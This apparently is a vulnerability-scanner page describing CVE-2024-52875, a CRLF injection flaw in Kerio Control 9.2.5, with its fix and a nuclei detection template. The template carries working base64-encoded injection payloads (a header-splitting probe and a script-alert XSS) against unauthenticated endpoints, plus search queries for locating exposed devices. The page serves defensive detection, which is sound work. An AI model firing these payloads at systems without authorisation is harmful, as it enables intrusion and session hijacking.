Kerio Control v9.2.5 - CRLF Injection

highseverity

29.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Kerio Control, formerly known as Kerio WinRoute Firewall, has been found vulnerable to multiple HTTP Response Splitting vulnerabilities in product affecting versions 9.2.5

Impact

Attackers can perform HTTP response splitting attacks to inject arbitrary HTTP headers and content, potentially leading to XSS, cache poisoning, or session hijacking.

Fix

Update Kerio Control to a version later than 9.2.5 that addresses the CRLF injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/nonauth/guestConfirm.cs?dest=VGVzdA0KQ1JMRjo%3d ; GET {{BaseURL}}/nonauth/addCertException.cs?dest=VGVzdA0KQ1JMRjo%3d ; GET {{BaseURL}}/nonauth/expiration.cs?dest=VGVzdA0KQ1JMRjo%3d ; GET {{BaseURL}}/nonauth/guestConfirm.cs?dest=Cgo8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4%3d
Positive when: matches in header /(?m)^Crlf:\s*$/ OR contains(body,'<script>alert(document.domain)</script>') and contains(content_type, "text/html") and contains(location, "") and status_code == 302

Run it with nuclei: nuclei -id CVE-2024-52875 -u <target>

The full check

id: CVE-2024-52875

info:
  name: Kerio Control v9.2.5 - CRLF Injection
  author: ritikchaddha,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Kerio Control, formerly known as Kerio WinRoute Firewall, has been found vulnerable to multiple HTTP Response Splitting vulnerabilities in product affecting versions 9.2.5
  impact: |
    Attackers can perform HTTP response splitting attacks to inject arbitrary HTTP headers and content, potentially leading to XSS, cache poisoning, or session hijacking.
  remediation: |
    Update Kerio Control to a version later than 9.2.5 that addresses the CRLF injection vulnerability.
  reference:
    - https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52875
  classification:
    cve-id: CVE-2024-52875
    cwe-id: CWE-74
    epss-score: 0.29386
    epss-percentile: 0.98195
  metadata:
    verified: true
    max-request: 4
    shodan-query: "Kerio Control"
    fofa-query: "Kerio Control"
  tags: cve,cve2024,kerio,crlf,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nonauth/guestConfirm.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/addCertException.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/expiration.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/guestConfirm.cs?dest=Cgo8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4%3d"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^Crlf:\s*$'

      - type: dsl
        dsl:
          - "contains(body,'<script>alert(document.domain)</script>')"
          - 'contains(content_type, "text/html")'
          - 'contains(location, "")'
          - 'status_code == 302'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from